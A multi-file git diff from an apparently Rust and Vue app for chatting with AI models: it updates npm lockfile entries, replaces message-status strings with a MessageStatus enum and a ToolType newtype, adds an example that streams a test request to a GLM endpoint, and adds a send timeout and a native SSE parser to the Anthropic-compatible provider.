"dompurify": ["dompurify@3.4.9", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.9.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-4dPSRMRDqHvs0V4YDFCsaIZo4if5u0xM+llyxiM2fwuZFdKArUBAF3VtI2+n8NKg9P870WMdYk0UhqQNoWXbfQ=="],
|
||||
"dom-align": ["dom-align@1.12.4", "https://registry.npmmirror.com/dom-align/-/dom-align-1.12.4.tgz", {}, "sha512-R8LUSEay/68zE5c8/3BDxiTEvgb4xZTF0RKmAHfiEVN3klfIpXfi2/QCoiWPccVQ0J/ZGdz9OjzL4uJEP/MRAw=="],
|
||||
|
||||
"dompurify": ["dompurify@3.4.11", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.11.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-zhlUV12GsaRzMsf9q5M254YhA4+VuF0fG+QFqu6aYpoGlKtz+w8//jBcGVYBgQkR5GHjUomejY84AV+/uPbWdw=="],
|
||||
|
||||
"entities": ["entities@7.0.1", "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
|
||||
|
||||
@@ -244,20 +290,44 @@
|
||||
|
||||
"estree-walker": ["estree-walker@2.0.2", "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
|
||||
|
||||
"fast-deep-equal": ["fast-deep-equal@3.1.3", "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
|
||||
|
||||
"fdir": ["fdir@6.5.0", "https://registry.npmmirror.com/fdir/-/fdir-6.5.0.tgz", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="],
|
||||
|
||||
"fsevents": ["fsevents@2.3.3", "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||
|
||||
"gl-matrix": ["gl-matrix@3.4.4", "https://registry.npmmirror.com/gl-matrix/-/gl-matrix-3.4.4.tgz", {}, "sha512-latSnyDNt/8zYUB6VIJ6PCh2jBjJX6gnDsoCZ7LyW7GkqrD51EWwa9qCoGixj8YqBtETQK/xY7OmpTF8xz1DdQ=="],
|
||||
|
||||
"graphlib": ["graphlib@2.1.8", "https://registry.npmmirror.com/graphlib/-/graphlib-2.1.8.tgz", { "dependencies": { "lodash": "^4.17.15" } }, "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A=="],
|
||||
|
||||
"he": ["he@1.2.0", "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", { "bin": { "he": "bin/he" } }, "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="],
|
||||
|
||||
"highlight.js": ["highlight.js@11.11.1", "https://registry.npmmirror.com/highlight.js/-/highlight.js-11.11.1.tgz", {}, "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w=="],
|
||||
|
||||
"is-any-array": ["is-any-array@3.0.0", "https://registry.npmmirror.com/is-any-array/-/is-any-array-3.0.0.tgz", {}, "sha512-o4h+tylWykC4BD1vaejp6gDxoM13bwW8FGuNs4yIKpj8xbBJcRxJx8vZpq0dCr7ZDEfeKjmsi/euolKhX6f/ww=="],
|
||||
|
||||
"is-arrayish": ["is-arrayish@0.3.4", "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.4.tgz", {}, "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA=="],
|
||||
|
||||
"lodash": ["lodash@4.18.1", "https://registry.npmmirror.com/lodash/-/lodash-4.18.1.tgz", {}, "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q=="],
|
||||
|
||||
"lodash-es": ["lodash-es@4.18.1", "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.18.1.tgz", {}, "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A=="],
|
||||
|
||||
"magic-string": ["magic-string@0.30.21", "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
||||
|
||||
"marked": ["marked@18.0.5", "https://registry.npmmirror.com/marked/-/marked-18.0.5.tgz", { "bin": { "marked": "bin/marked.js" } }, "sha512-S6GcvALHg6K4ohtu4E7x0a1AqhAjp6cV8KhLSyN9qVapnzJkusVBxZRcIU9AeYsbe6P1hKDusSbEOzGyyuce6w=="],
|
||||
|
||||
"minimatch": ["minimatch@9.0.9", "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.9.tgz", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="],
|
||||
|
||||
"ml-array-max": ["ml-array-max@2.0.0", "https://registry.npmmirror.com/ml-array-max/-/ml-array-max-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0" } }, "sha512-QQZ4kENwpWmyNb98UXRDFXrmtIXuXtt1+bSbda/2KA85+F+rrJP8hZk6QOkCQXM2Th9mUDYdq/PNByPdT9ID4A=="],
|
||||
|
||||
"ml-array-min": ["ml-array-min@2.0.0", "https://registry.npmmirror.com/ml-array-min/-/ml-array-min-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0" } }, "sha512-GRj6Ky6sW9vGL6yIjgsHmXZ9YgrdmcQ8nCxPqEGeKc6dkfYg1XDYxGFxADUjNuZyoCd5PUscWAS4N+cFaX6hFg=="],
|
||||
|
||||
"ml-array-rescale": ["ml-array-rescale@2.0.0", "https://registry.npmmirror.com/ml-array-rescale/-/ml-array-rescale-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0", "ml-array-max": "^2.0.0", "ml-array-min": "^2.0.0" } }, "sha512-2GGtKfSno94/kIloWGvpp/U5Q5vLvLrza+SAaGsLeo6Xj4mEbA6Gqx+oTfZFkxnd1grT2X007HfJNs3T5BsiVg=="],
|
||||
|
||||
"ml-matrix": ["ml-matrix@6.13.0", "https://registry.npmmirror.com/ml-matrix/-/ml-matrix-6.13.0.tgz", { "dependencies": { "is-any-array": "^3.0.0", "ml-array-rescale": "^2.0.0" } }, "sha512-QpV0UTUkglg6vPUgThKGBEtit2ac6habSoZ33bwI9rU0UHZLqw6G3ukTIE8zWiUF3sjK8YAlhx/o/b9layzH8A=="],
|
||||
|
||||
"mousetrap": ["mousetrap@1.6.5", "https://registry.npmmirror.com/mousetrap/-/mousetrap-1.6.5.tgz", {}, "sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA=="],
|
||||
|
||||
"muggle-string": ["muggle-string@0.4.1", "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", {}, "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ=="],
|
||||
|
||||
"nanoid": ["nanoid@3.3.12", "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.12.tgz", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="],
|
||||
@@ -284,18 +354,26 @@
|
||||
|
||||
"tinyglobby": ["tinyglobby@0.2.17", "https://registry.npmmirror.com/tinyglobby/-/tinyglobby-0.2.17.tgz", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" } }, "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g=="],
|
||||
|
||||
"tslib": ["tslib@2.8.1", "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
|
||||
|
||||
"typescript": ["typescript@5.6.3", "https://registry.npmmirror.com/typescript/-/typescript-5.6.3.tgz", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-hjcS1mhfuyi4WW8IWtjP7brDrG2cuDZukyrYrSauoXGNgx0S7zceP07adYkJycEr56BOUTNPzbInooiN3fn1qw=="],
|
||||
|
||||
"utility-types": ["utility-types@3.11.0", "https://registry.npmmirror.com/utility-types/-/utility-types-3.11.0.tgz", {}, "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw=="],
|
||||
|
||||
"vite": ["vite@6.4.3", "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A=="],
|
||||
|
||||
"vscode-uri": ["vscode-uri@3.1.0", "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
|
||||
|
||||
"vue": ["vue@3.5.35", "https://registry.npmmirror.com/vue/-/vue-3.5.35.tgz", { "dependencies": { "@vue/compiler-dom": "3.5.35", "@vue/compiler-sfc": "3.5.35", "@vue/runtime-dom": "3.5.35", "@vue/server-renderer": "3.5.35", "@vue/shared": "3.5.35" }, "peerDependencies": { "typescript": "*" }, "optionalPeers": ["typescript"] }, "sha512-cx89fnr+0kVGHiNFG6y6s0bdjypJRFNZn6x3WPstNdQR1bi1mbB7h4v5IBGTsPJU3nK1+0Iqj3Zf+hZWMieR4Q=="],
|
||||
|
||||
"vue-demi": ["vue-demi@0.14.10", "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", { "peerDependencies": { "@vue/composition-api": "^1.0.0-rc.1", "vue": "^3.0.0-0 || ^2.6.0" }, "optionalPeers": ["@vue/composition-api"], "bin": { "vue-demi-fix": "bin/vue-demi-fix.js", "vue-demi-switch": "bin/vue-demi-switch.js" } }, "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg=="],
|
||||
|
||||
"vue-i18n": ["vue-i18n@9.14.5", "https://registry.npmmirror.com/vue-i18n/-/vue-i18n-9.14.5.tgz", { "dependencies": { "@intlify/core-base": "9.14.5", "@intlify/shared": "9.14.5", "@vue/devtools-api": "^6.5.0" }, "peerDependencies": { "vue": "^3.0.0" } }, "sha512-0jQ9Em3ymWngyiIkj0+c/k7WgaPO+TNzjKSNq9BvBQaKJECqn9cd9fL4tkDhB5G1QBskGl9YxxbDAhgbFtpe2g=="],
|
||||
|
||||
"vue-router": ["vue-router@4.6.4", "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", { "dependencies": { "@vue/devtools-api": "^6.6.4" }, "peerDependencies": { "vue": "^3.5.0" } }, "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg=="],
|
||||
|
||||
"vue-tsc": ["vue-tsc@2.2.12", "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", { "dependencies": { "@volar/typescript": "2.4.15", "@vue/language-core": "2.2.12" }, "peerDependencies": { "typescript": ">=5.0.0" }, "bin": { "vue-tsc": "./bin/vue-tsc.js" } }, "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw=="],
|
||||
|
||||
"@types/dompurify/dompurify": ["dompurify@3.4.9", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.9.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-4dPSRMRDqHvs0V4YDFCsaIZo4if5u0xM+llyxiM2fwuZFdKArUBAF3VtI2+n8NKg9P870WMdYk0UhqQNoWXbfQ=="],
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,14 +95,14 @@ impl ChatMessage {
|
||||
/// 无需每加一个状态就来这里改。当前取值 None/Some("active")/Some("truncated")
|
||||
/// 行为与旧反面排除完全等价(None=true / "active"=true / "truncated"=false)。
|
||||
pub fn is_active(&self) -> bool {
|
||||
matches!(self.status.as_deref(), None | Some("active"))
|
||||
matches!(self.status, None | Some(MessageStatus::Active))
|
||||
}
|
||||
}
|
||||
|
||||
impl ToolDefinition {
|
||||
pub fn function(name: impl Into<String>, description: impl Into<String>, parameters: serde_json::Value) -> Self {
|
||||
Self {
|
||||
tool_type: "function".into(),
|
||||
tool_type: ToolType::new("function"),
|
||||
function: ToolFunction { name: name.into(), description: description.into(), parameters },
|
||||
}
|
||||
}
|
||||
@@ -166,22 +166,22 @@ mod tests {
|
||||
|
||||
// "active"
|
||||
let mut m = ChatMessage::user("hi");
|
||||
m.status = Some("active".to_string());
|
||||
m.status = Some(MessageStatus::Active);
|
||||
assert!(m.is_active(), "Some(active) 应 active");
|
||||
|
||||
// "truncated" — 当前取值,与旧实现等价(false)
|
||||
let mut m = ChatMessage::user("hi");
|
||||
m.status = Some("truncated".to_string());
|
||||
m.status = Some(MessageStatus::Truncated);
|
||||
assert!(!m.is_active(), "truncated 应不 active");
|
||||
|
||||
// "archived_segment" — 阶段2 待引入,白名单自动隔离
|
||||
let mut m = ChatMessage::user("hi");
|
||||
m.status = Some("archived_segment".to_string());
|
||||
m.status = Some(MessageStatus::ArchivedSegment);
|
||||
assert!(!m.is_active(), "archived_segment 应不 active(白名单隔离)");
|
||||
|
||||
// "compressed" — 阶段2 待引入,白名单自动隔离
|
||||
let mut m = ChatMessage::user("hi");
|
||||
m.status = Some("compressed".to_string());
|
||||
m.status = Some(MessageStatus::Compressed);
|
||||
assert!(!m.is_active(), "compressed 应不 active(白名单隔离)");
|
||||
}
|
||||
|
||||
|
||||
@@ -103,11 +103,11 @@ pub struct ChatMessage {
|
||||
/// 生成该消息的 model(仅 assistant 消息有,消息级 model 追溯)
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub model: Option<String>,
|
||||
/// 消息状态(UX-09 编辑重生成):None/"active" 正常可见;
|
||||
/// 消息状态(UX-09 编辑重生成):None 正常可见;
|
||||
/// "truncated" 软删(编辑某条 user 消息后其后续消息标记,保留 DB 可追溯但不进 LLM 上下文、前端视图过滤)
|
||||
/// 默认 None(向前兼容老 JSON 反序列化)。落库随 messages JSON 序列化,无需独立列。
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub status: Option<String>,
|
||||
pub status: Option<MessageStatus>,
|
||||
/// DeepSeek thinking 模式的推理内容(多轮需回传)
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub reasoning_content: Option<String>,
|
||||
@@ -148,11 +148,91 @@ pub enum MessageRole {
|
||||
Tool,
|
||||
}
|
||||
|
||||
/// 消息状态枚举(IPC 边界序列化为小写 snake_case 字符串)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum MessageStatus {
|
||||
/// 正常可见
|
||||
Active,
|
||||
/// 软删(编辑某条 user 消息后其后续消息标记)
|
||||
Truncated,
|
||||
/// 已压缩
|
||||
Compressed,
|
||||
/// 已归档段
|
||||
ArchivedSegment,
|
||||
}
|
||||
|
||||
impl MessageStatus {
|
||||
/// DB 存储用的小写 snake_case 字符串
|
||||
pub fn as_db_str(&self) -> &'static str {
|
||||
match self {
|
||||
MessageStatus::Active => "active",
|
||||
MessageStatus::Truncated => "truncated",
|
||||
MessageStatus::Compressed => "compressed",
|
||||
MessageStatus::ArchivedSegment => "archived_segment",
|
||||
}
|
||||
}
|
||||
|
||||
/// 从 DB 字符串解析
|
||||
pub fn from_db_str(s: &str) -> Option<Self> {
|
||||
Some(match s {
|
||||
"active" => MessageStatus::Active,
|
||||
"truncated" => MessageStatus::Truncated,
|
||||
"compressed" => MessageStatus::Compressed,
|
||||
"archived_segment" => MessageStatus::ArchivedSegment,
|
||||
_ => return None,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// ChatMessage 结构体
|
||||
/// 工具类型(IPC 边界透明序列化为字符串,如 "function")
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Hash)]
|
||||
#[serde(transparent)]
|
||||
pub struct ToolType(String);
|
||||
|
||||
impl ToolType {
|
||||
/// 构造新工具类型
|
||||
pub fn new(s: impl Into<String>) -> Self {
|
||||
Self(s.into())
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ToolType {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "{}", self.0)
|
||||
}
|
||||
}
|
||||
|
||||
impl From<String> for ToolType {
|
||||
fn from(s: String) -> Self {
|
||||
Self(s)
|
||||
}
|
||||
}
|
||||
|
||||
impl From<&str> for ToolType {
|
||||
fn from(s: &str) -> Self {
|
||||
Self(s.to_owned())
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq<&str> for ToolType {
|
||||
fn eq(&self, other: &&str) -> bool {
|
||||
self.0 == *other
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq<str> for ToolType {
|
||||
fn eq(&self, other: &str) -> bool {
|
||||
self.0 == other
|
||||
}
|
||||
}
|
||||
|
||||
/// 工具定义
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ToolDefinition {
|
||||
#[serde(rename = "type")]
|
||||
pub tool_type: String,
|
||||
pub tool_type: ToolType,
|
||||
pub function: ToolFunction,
|
||||
}
|
||||
|
||||
@@ -169,7 +249,7 @@ pub struct ToolFunction {
|
||||
pub struct ToolCall {
|
||||
pub id: String,
|
||||
#[serde(rename = "type")]
|
||||
pub call_type: String,
|
||||
pub call_type: ToolType,
|
||||
pub function: ToolCallFunction,
|
||||
}
|
||||
|
||||
|
||||
@@ -14,6 +14,10 @@ anyhow = { workspace = true }
|
||||
tracing = { workspace = true }
|
||||
|
||||
# HTTP + 流式
|
||||
reqwest = { version = "0.12", features = ["stream", "json"] }
|
||||
reqwest = { version = "0.12", features = ["stream", "json", "rustls-tls"] }
|
||||
bytes = "1"
|
||||
futures = "0.3"
|
||||
eventsource-stream = "0.2"
|
||||
rand = "0.8"
|
||||
|
||||
[dev-dependencies]
|
||||
tempfile = "3"
|
||||
|
||||
76
crates/df-ai/examples/glm_stream_test.rs
Normal file
76
crates/df-ai/examples/glm_stream_test.rs
Normal file
@@ -0,0 +1,76 @@
|
||||
//! 独立诊断:用 df-ai 真实调用 GLM anthropic 流式端点,验证
|
||||
//! sse_parser + apply_anthropic_event + provider.stream() 整条链路。
|
||||
//!
|
||||
//! 二分定位「发消息卡掉」: 若本例能正常吐 chunk → provider 层(df-ai)OK,
|
||||
//! 问题在 devflow 应用层(provider 配置/emit/前端); 若卡/空/Err → df-ai 有 bug。
|
||||
//!
|
||||
//! 运行: cd crates/df-ai && cargo run --example glm_stream_test
|
||||
use df_ai::build_provider;
|
||||
use df_ai_core::CompletionRequest;
|
||||
use futures::StreamExt;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() {
|
||||
let token = std::env::var("ANTHROPIC_AUTH_TOKEN")
|
||||
.or_else(|_| std::env::var("ANTHROPIC_API_KEY"))
|
||||
.expect("需要环境变量 ANTHROPIC_AUTH_TOKEN");
|
||||
eprintln!("[glm-test] token len={}", token.len());
|
||||
|
||||
let provider = build_provider(
|
||||
"anthropic",
|
||||
"https://open.bigmodel.cn/api/anthropic",
|
||||
&token,
|
||||
"glm-5.2",
|
||||
);
|
||||
|
||||
// 用 JSON 反序列化构造请求,绕开字段列表(devflow 实际用 glm-5.2)
|
||||
let req: CompletionRequest = serde_json::from_str(
|
||||
r#"{"model":"glm-5.2","stream":true,"max_tokens":16,"messages":[{"role":"user","content":"说你好"}]}"#,
|
||||
)
|
||||
.expect("parse CompletionRequest");
|
||||
|
||||
eprintln!("[glm-test] 调用 provider.stream() ...");
|
||||
let t0 = std::time::Instant::now();
|
||||
let mut s = match provider.stream(req).await {
|
||||
Ok(s) => {
|
||||
eprintln!("[glm-test] stream() Ok, 建连耗时 {:?}", t0.elapsed());
|
||||
s
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[glm-test] stream() Err: {:#}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let mut n = 0;
|
||||
let mut got_text = false;
|
||||
while let Some(chunk_result) = s.next().await {
|
||||
n += 1;
|
||||
match chunk_result {
|
||||
Ok(chunk) => {
|
||||
if !chunk.delta.is_empty() {
|
||||
got_text = true;
|
||||
}
|
||||
eprintln!(
|
||||
"[glm-test] chunk#{} delta={:?} reasoning={:?} finished={} usage={:?} err={:?}",
|
||||
n, chunk.delta,
|
||||
chunk.reasoning_content.as_deref().map(|s| if s.len() > 30 { format!("{}..", &s[..30]) } else { s.to_string() }),
|
||||
chunk.finished, chunk.usage, chunk.error
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[glm-test] chunk#{} Err: {}", n, e);
|
||||
}
|
||||
}
|
||||
if n > 60 {
|
||||
eprintln!("[glm-test] 超 60 chunk 截断");
|
||||
break;
|
||||
}
|
||||
}
|
||||
eprintln!(
|
||||
"[glm-test] 流结束 共 {} chunk, 是否拿到文本={}, 总耗时 {:?}",
|
||||
n,
|
||||
got_text,
|
||||
t0.elapsed()
|
||||
);
|
||||
}
|
||||
@@ -10,7 +10,6 @@
|
||||
//! 本模块仅保留 Provider struct + impl(HTTP 调用),Rust impl 块不可跨文件故作此切分。
|
||||
|
||||
use async_trait::async_trait;
|
||||
use eventsource_stream::Eventsource;
|
||||
use futures::StreamExt;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
@@ -590,17 +589,19 @@ impl LlmProvider for AnthropicCompatProvider {
|
||||
|
||||
debug!(model = %body.model, "Anthropic 流式调用");
|
||||
|
||||
let resp = match self
|
||||
// BUG-2026-07-07: send 阶段需 timeout 防 hang(实测 GLM 偶发建连后长时间不返回)。
|
||||
// 注意:不能用 reqwest 的 .timeout()——它是整个请求(含 body 读取)的总超时,
|
||||
// 流式长生成任务会被误砍(build_provider_client 注释已明确)。改用 tokio::time::timeout
|
||||
// 包裹 send().await,只管建连+首响应头,不管后续 body 读取(后续由 stream_llm idle timeout 兜底)。
|
||||
// 60s 选型:正常 send(建连+收 200 headers)<5s,60s 足够宽容。
|
||||
let send_future = self
|
||||
.auth_headers(self.client.post(self.messages_url()))
|
||||
.json(&body)
|
||||
.version(reqwest::Version::HTTP_11)
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
// B-260618-26: 记 reqwest 错误源因链。原 ? 转 anyhow 仅 Display
|
||||
// "error sending request for url" 无法定位 reset/TLS/超时/body 真因。
|
||||
.send();
|
||||
let resp = match tokio::time::timeout(Duration::from_secs(60), send_future).await {
|
||||
Ok(Ok(r)) => r,
|
||||
Ok(Err(e)) => {
|
||||
tracing::error!(
|
||||
is_timeout = e.is_timeout(),
|
||||
is_connect = e.is_connect(),
|
||||
@@ -620,6 +621,14 @@ impl LlmProvider for AnthropicCompatProvider {
|
||||
std::error::Error::source(&e)
|
||||
);
|
||||
}
|
||||
Err(_elapsed) => {
|
||||
// send 阶段超时(60s 未返回 HTTP 响应头):GLM 端点可能不可达或极慢
|
||||
tracing::error!(
|
||||
url = %self.messages_url(),
|
||||
"Anthropic 流式 send 超时(60s 未返回响应头)"
|
||||
);
|
||||
anyhow::bail!("流式请求超时(60秒未收到 HTTP 响应,可能服务不可达或被防火墙拦截)");
|
||||
}
|
||||
};
|
||||
|
||||
if !resp.status().is_success() {
|
||||
@@ -629,36 +638,32 @@ impl LlmProvider for AnthropicCompatProvider {
|
||||
anyhow::bail!("Anthropic 流式 API 错误 {}: {}", status, text);
|
||||
}
|
||||
|
||||
// 流式解析:eventsource 逐事件处理,按 type 字段分发转 StreamChunk。
|
||||
// 事件解析/usage 累积逻辑抽到 apply_anthropic_event 纯函数,便于单测;此处闭包只负责传 data。
|
||||
// usage 累积:message_start 给 input_tokens,message_delta 给累计 output_tokens(非增量),message_stop 带出。
|
||||
// BUG-2026-07-17 根治: 原生 SSE 解析器替代 eventsource-stream(同 openai_compat)。
|
||||
let mut usage_accum: Option<TokenUsage> = None;
|
||||
// B-260618-28: MidStream error(如 GLM 1214 messages 非法)时附 messages 摘要定位哪条非法。
|
||||
// precheck(Init 路径,发送前)漏的 case,靠此在 SSE error 事件暴露实际 messages 结构到前端 raw。
|
||||
let messages_summary = Self::summarize_messages(&body.messages);
|
||||
let stream = resp
|
||||
.bytes_stream()
|
||||
.eventsource()
|
||||
.map(move |event| match event {
|
||||
Ok(ev) => {
|
||||
let mut chunk = apply_anthropic_event(&ev.data, &mut usage_accum);
|
||||
// GLM 中途 error(如 1214)→ chunk.error 附 messages 摘要,经 stream_recv MidStream
|
||||
// 路径 emit AiError raw,前端直接看到实际 messages 结构定位非法字段。
|
||||
if let Some(err) = chunk.error.as_mut() {
|
||||
*err = format!("{} | messages 摘要: {}", err, messages_summary);
|
||||
|
||||
let sse = crate::sse_parser::SseStream::new(resp.bytes_stream());
|
||||
let stream = sse.flat_map(move |result: Result<Vec<String>, String>| {
|
||||
let mut chunks: Vec<anyhow::Result<crate::provider::StreamChunk>> = Vec::new();
|
||||
match result {
|
||||
Ok(events) => {
|
||||
for data in events {
|
||||
let mut chunk = apply_anthropic_event(&data, &mut usage_accum);
|
||||
if let Some(err) = chunk.error.as_mut() {
|
||||
*err = format!("{} | messages 摘要: {}", err, messages_summary);
|
||||
}
|
||||
chunks.push(Ok(chunk));
|
||||
}
|
||||
Ok(chunk)
|
||||
}
|
||||
Err(e) => {
|
||||
// 保留 #[source] 因果链: anyhow!("...{}", e) 仅把 e 的 Display 塞进 message,
|
||||
// 丢掉 source(无法 downcast/遍历)。改用 Error::from(e).context(...):
|
||||
// Display 不变(仍为 "Anthropic SSE 错误: {e}"), 且 e 作为 .source() 可追溯。
|
||||
// 顺序: 先 format(e) 构造 context 文案, 再 Error::from(e) move e 进 source。
|
||||
let ctx = format!("Anthropic SSE 错误: {}", e);
|
||||
error!(error = %e, "Anthropic SSE 事件流错误");
|
||||
Err(anyhow::Error::from(e).context(ctx))
|
||||
error!("{}", ctx);
|
||||
chunks.push(Err(anyhow::anyhow!("{}", ctx)));
|
||||
}
|
||||
});
|
||||
}
|
||||
futures::stream::iter(chunks)
|
||||
});
|
||||
|
||||
Ok(Box::pin(stream))
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
719
crates/df-ai/src/context/manager_tests.rs
Normal file
719
crates/df-ai/src/context/manager_tests.rs
Normal file
